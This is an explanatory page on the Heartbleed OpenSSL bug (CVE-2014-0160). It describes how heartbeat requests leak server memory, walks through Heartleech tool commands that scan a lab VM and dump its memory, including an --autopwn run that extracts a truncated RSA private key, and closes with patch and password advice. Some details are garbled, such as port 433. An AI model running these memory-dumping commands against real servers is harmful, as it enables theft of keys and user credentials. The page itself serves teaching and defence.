Heartbleed

Summary

This page explains the background information of the "Heartbleed"- bug. The purpose of this documentation is not to guide attackers to reproduce the heartbleed attack, it should only highlight the functionality.

Requirements

• Webserver e.g. (nginx / apache)
• OpenSSL between version 1.0.1 and 1.0.1f (Download from https://github.com/openssl/openssl/branches/all)

Background

• HTTP communication usually takes place over TCP/IP connections
• TCP is reliable but, a continuous data exchange is needed.
• HTTPS Websites are encrypted with SSL
• The Webserver has available sockets which allows connections to clients
• Webserver have timers, after a set time of x - seconds the session gets closed if the client is inactive
• To keep the session alive, the web-browser sends heartbeat requests which are processed by the server
• Classified as a Buffer Overflows Vulnerability

Heartbeat

• Is an extension in OpenSSL
• Special data package
• Possible size: 16 Bytes < Heartbeat Message < 64Kb
• “Heartbeat Requests” are sent from Webbrowser to Webserver to keep the session alive
• The server answers with a “Heartbeat Respond” which contains the exact same dataset

Example

Web browsers (client) sends a length and a message

• Web browser sends message with length 5: ‘hello’
• Web server responds with the exact same message : ‘hello’

Heartbleed (CVE-2014-0160)

• Choose heartbeat request size as a minimum and claim it to the maximum
• The heartbeat request can be executed multiple times in a row
• Rebuild picture of servers RAM

Example

• Web browser sends message with length 65536: ‘hello’
• The server read a full 64 KiB from memory and sends it to the client
• Web server allocates a dataslot of 64 KiB and copies the message ‘hello’ in the first place. The rest of the 65536 - ‘hello’ size is appended with data in the RAM.
• The Web server responds with the filled 64 KiB dataslot (including content of RAM).

Attack

The result of a Heartbleed Bug is shown in the following picture.

Interpretation

The left hand column represents the HEAP address, the middle column contains the fetched data in a hexadecimal representation. The right hand column is the actual readable output. Here may stand user credentials, banking informations or even the encryption method.

(Reminder: the attacked server must implement an OpenSSL version between 1.0.1 and 1.0.1.f)

Testing tools

There are multiple ways to assess if a website is vulnerable to the Heartbleed security risk.

Heartleech by Robert David Graham

The project can be found under following URL: "https://github.com/robertdavidgraham/heartleech" The first step to test a system for the vulnerabilty to the Heartbleed Bug with the Heartleech testing tool is to install Heartleech on Kali Linux with the command:

$ apt−get install heartleech
usage: heartleech <hostname> −f<filename> [−p<port >] ...
<filename> is a DNS name or IP address of  the target
<filename is where the heartbleed information is stored
<port> is the port number, defaulting to 433

After successful installation, the option –scan examines a system for its vulnerability.

$ heartleech www.google.com −p 443 −−scan
−−− heartleech/1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
www.google.com:443: SAFE

To showcase a vulnerable system, a Virtual Machine with the vulnerable Ubuntu 12.04 with an Apache web server was used and the Heartleech identified the system as VULNERABLE.

$ heartleech −−scan 192.168.40.145
192.168.40.145:443: VULNERABLE

Conceding that Heartleech command is used without any other parameter, it will read data from the memory until the program was to be aborted.

$ heartleech 192.168.40.145
1896737 byted downloaded (101.215 −mbps)

To find private information the –autopawn and –threads options can be used. In this case Heartleech found a RSA Private Key in the vulnerable memory.

$ heartleech 192.168.40.145 −−autopwn −−threads 20
−−− heartleech / 1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
0 byted downloaded (0.000 −mbps )
−−−−−BEGIN RSA PRIVATE KEY−−−−−
MIIEowIBAAKCAQEAwgrg7H+rjMb0FEkf /d3VeZe68NwMF+maKHc
...
−−−−−END RSA PRIVATE KEY−−−−−

Consequences

The greatest obstacle with the Heartbleed bug is that the exploitation does not leave any trace or any peculiar indication behind. Consequently, the abuse of the security hole cannot be detected.

Since it was stated that half a million sites were or are vulnerable, it is possible that a collection of websites to this day have not been patched and thus still vulnerable to the Heartbleed breach.

The only way to prevent further damage and to mitigate the vulnerability, is to upgrade OpenSSL to the fixed version or to recompile OpenSSL with the handshake removed from the code.

A great asset which built out of this situation, is that service providers that suffered from the Heartbleed Bug updated software and enhanced the security power.

Solution for the Heartbleed bug

The solution for the Heartbleed bug was to patch OpenSSL to the 1.0.1g version. The patch included a bounds check which uses the right record length in the SSL3 structure that declared the incoming HeartbeatMessage.

Solution for individuals

As a consumer of web services the vast majority of the responsibility lies with the provider of the service but it is appropriate to change passwords when there is potential that a web service in use is exposed. It is advised to always use different passwords for different services. The habit of using a password manager is profitable.

Solution for business

Since this vulnerability leaves no trace it is advised to set precautions. The first step to approach is to patch the system and re-generate any SSL certificates. Consumers shall be encouraged to change their passwords or an ever more effective path would be to force a password change. As this bug is to take very seriously it is crucial to take the corresponding steps to protect consumers as a responsible business.